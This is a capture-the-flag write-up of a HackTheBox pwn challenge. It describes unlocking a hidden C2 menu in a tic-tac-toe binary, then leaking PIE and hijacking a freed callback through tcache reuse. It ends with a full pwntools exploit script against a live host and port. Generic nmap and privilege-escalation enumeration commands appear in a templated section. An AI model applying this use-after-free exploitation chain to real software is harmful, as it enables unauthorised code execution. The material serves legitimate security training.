TicTacToed
TicTacToed
Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-02 | Status: Solved Techniques: hidden_pattern_unlock, pie_leak_via_function_pointer, tcache_reuse, use_after_free_callback_hijack
Summary
Task: a Rust game binary hid a second-stage C2 interface behind a specific 5x5 tic-tac-toe pattern and access code. Solution: re-download the latest archive, recover the correct embedded ELF offsets, leak PIE with the H option, then use a use-after-free to overwrite a callback with getSecret and print the real remote flag.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackthebox| ID:20260402_hackthebox_tictactoed - Tags: pie, use_after_free, function_pointer, tcache, pwn, rust, hidden_interface, binary_extraction
- Indicators: 5x5 tic-tac-toe gate with a hidden recognition string, secondary embedded ELF inside the outer binary, menu option prints a code pointer with %p, freeing an object without clearing the global pointer, small malloc reuses the freed callback-bearing chunk
- Source:
20260402_hackthebox_tictactoed.md
Foothold
Vulnerability / Misconfiguration
- Hidden_pattern_unlock
- Pie_leak_via_function_pointer
- Tcache_reuse
- Use_after_free_callback_hijack
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- hidden_pattern_unlock
- pie_leak_via_function_pointer
- tcache_reuse
- use_after_free_callback_hijack
- Tags: pie, use_after_free, function_pointer, tcache, pwn, rust, hidden_interface, binary_extraction
Original Writeup
<details><summary>Click to expand original content</summary>Description
Original HackTheBox task text was not preserved in the local solve notes.
The challenge presented a 5x5 tic-tac-toe game, but the real target was a hidden second-stage interface unlocked only after entering a very specific move sequence and a decrypted access code. The final exploit was a PIE leak plus a use-after-free callback overwrite in the embedded C2 binary.
Analysis
The outer program was a Rust ELF that first exposed a tic-tac-toe board. Winning normally was not enough: the binary compared the played moves against a hidden pattern string:
X:00O:04X:11O:13X:22O:31X:33O:40X:44
That corresponds to the exact input sequence:
0 00 41 11 32 23 13 34 04 4
Geometrically, X fills the main diagonal and O fills the anti-diagonal except the center cell, which is already occupied by X. Once this sequence is entered, the program prints that the hidden interface is unlocked.
The next gate was the access code. The challenge stored encrypted fragments in the outer binary; decrypting them with XOR key 0x5a yielded:
D3f1n3tlya71c74c703gam3
After the unlock, the program launched a hidden embedded C2 binary extracted from the outer file at offset 0x7d63a with size 0x4468.
An important correction was necessary before exploitation worked remotely: earlier attempts used offsets from an outdated binary version. The issue was resolved by re-downloading the latest challenge archive and updating all offsets to match the embedded C2 actually shipped by the live service.
The corrected symbols for the latest C2 were:
getSecret = 0x1259executeAction = 0x13e0generateUserID = 0x13fdprintID = 0x14b8Hackupdate = 0x151fexitProgram = 0x155d
Root Cause
The exploitable bug was a classic use-after-free on an object containing a function pointer.
The hidden C2 kept a heap-allocated agent object whose first field was a callback used by executeAction(agent). Option E with confirmation Y freed this object through exitProgram, but the global agent pointer was left unchanged. The program then returned to the main loop and continued to use the stale pointer.
Later, option F (Hackupdate) performed malloc(8) and then read(0, buf, 8). Because the freed agent chunk was a small tcache entry, this allocation reused the same chunk. Writing 8 bytes into the new allocation therefore overwrote the stale agent->func callback. When the loop subsequently called executeAction(agent), control flow jumped to the attacker-supplied address.
This became reliable because option H changed the callback to printID, and printID disclosed the runtime address of generateUserID using:
printf("User ID: %p\n", generateUserID);
That leak gave an immediate PIE calculation:
PIE base = leak - 0x13fdgetSecret = PIE base + 0x1259- equivalently,
getSecret = leak - 0x1a4
Exploitation Steps
The working remote chain was:
- Play the hidden tic-tac-toe sequence to satisfy the exact pattern matcher.
- Enter username and access code
D3f1n3tlya71c74c703gam3. - Reach the hidden C2 menu.
- Send
Hso the callback becomesprintID. - Parse the leaked
generateUserIDaddress fromUser ID: 0x.... - Compute
getSecret = leak - 0x1a4. - Send
E, then confirm withY, to free theagentobject without nulling the global pointer. - Send
F; itsmalloc(8)reuses the freed tcache chunk. - Write
p64(leak - 0x1a4)as the 8-byte payload. - Let the main loop invoke
executeAction(agent), which now jumps intogetSecretand prints the flag.
The final payload for option F was therefore:
p64(leak - 0x1a4)
Example successful remote values from the corrected live instance:
- Host:
154.57.164.75 - Port:
32718 - Leak:
0x5573a5ef43fd - PIE base:
0x5573a5ef3000 getSecret:0x5573a5ef4259
The flag output appeared after a leading space/newline, so the receive logic needed to search the full returned buffer instead of assuming a clean line start.
One confusing detail during analysis was a fake local flag present in the archive:
HTB{f4k3_fl4g_f0r_t3st1ng}
That was only a test artifact. The real remote flag was different and was recovered only after re-downloading the latest challenge archive, fixing the stale offsets, and rerunning the exploit against the updated service.
Solution
#!/usr/bin/env python3
from pwn import *
import re
context.arch = "amd64"
HOST = "154.57.164.75"
PORT = 32718
MOVES = [
b"0 0", b"0 4", b"1 1", b"1 3", b"2 2",
b"3 1", b"3 3", b"4 0", b"4 4",
]
ACCESS_CODE = b"D3f1n3tlya71c74c703gam3"
DELTA_GETSECRET_FROM_LEAK = 0x1A4
def main():
io = remote(HOST, PORT)
for move in MOVES:
io.recvuntil(b"(0-4): ")
io.sendline(move)
io.recvuntil(b"Enter Username: ")
io.sendline(b"admin")
io.recvuntil(b"Enter Access Code: ")
io.sendline(ACCESS_CODE)
io.recvuntil(b"> ")
io.sendline(b"H")
data = io.recvuntil(b"> ")
m = re.search(rb"User ID: (0x[0-9a-fA-F]+)", data)
if not m:
raise RuntimeError(f"leak not found: {data!r}")
leak = int(m.group(1), 16)
get_secret = leak - DELTA_GETSECRET_FROM_LEAK
log.info(f"leak = {hex(leak)}")
log.info(f"pie_base = {hex(leak - 0x13fd)}")
log.info(f"getSecret = {hex(get_secret)}")
io.sendline(b"E")
io.recvuntil(b"(Y/N)?")
io.sendline(b"Y")
io.recvuntil(b"> ")
io.sendline(b"F")
io.recvuntil(b"hack go?")
io.send(p64(get_secret))
data = io.recvrepeat(1)
m = re.search(rb"HTB\{[^}]+\}", data)
if not m:
raise RuntimeError(f"flag not found in: {data!r}")
print(m.group().decode())
if __name__ == "__main__":
main()
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR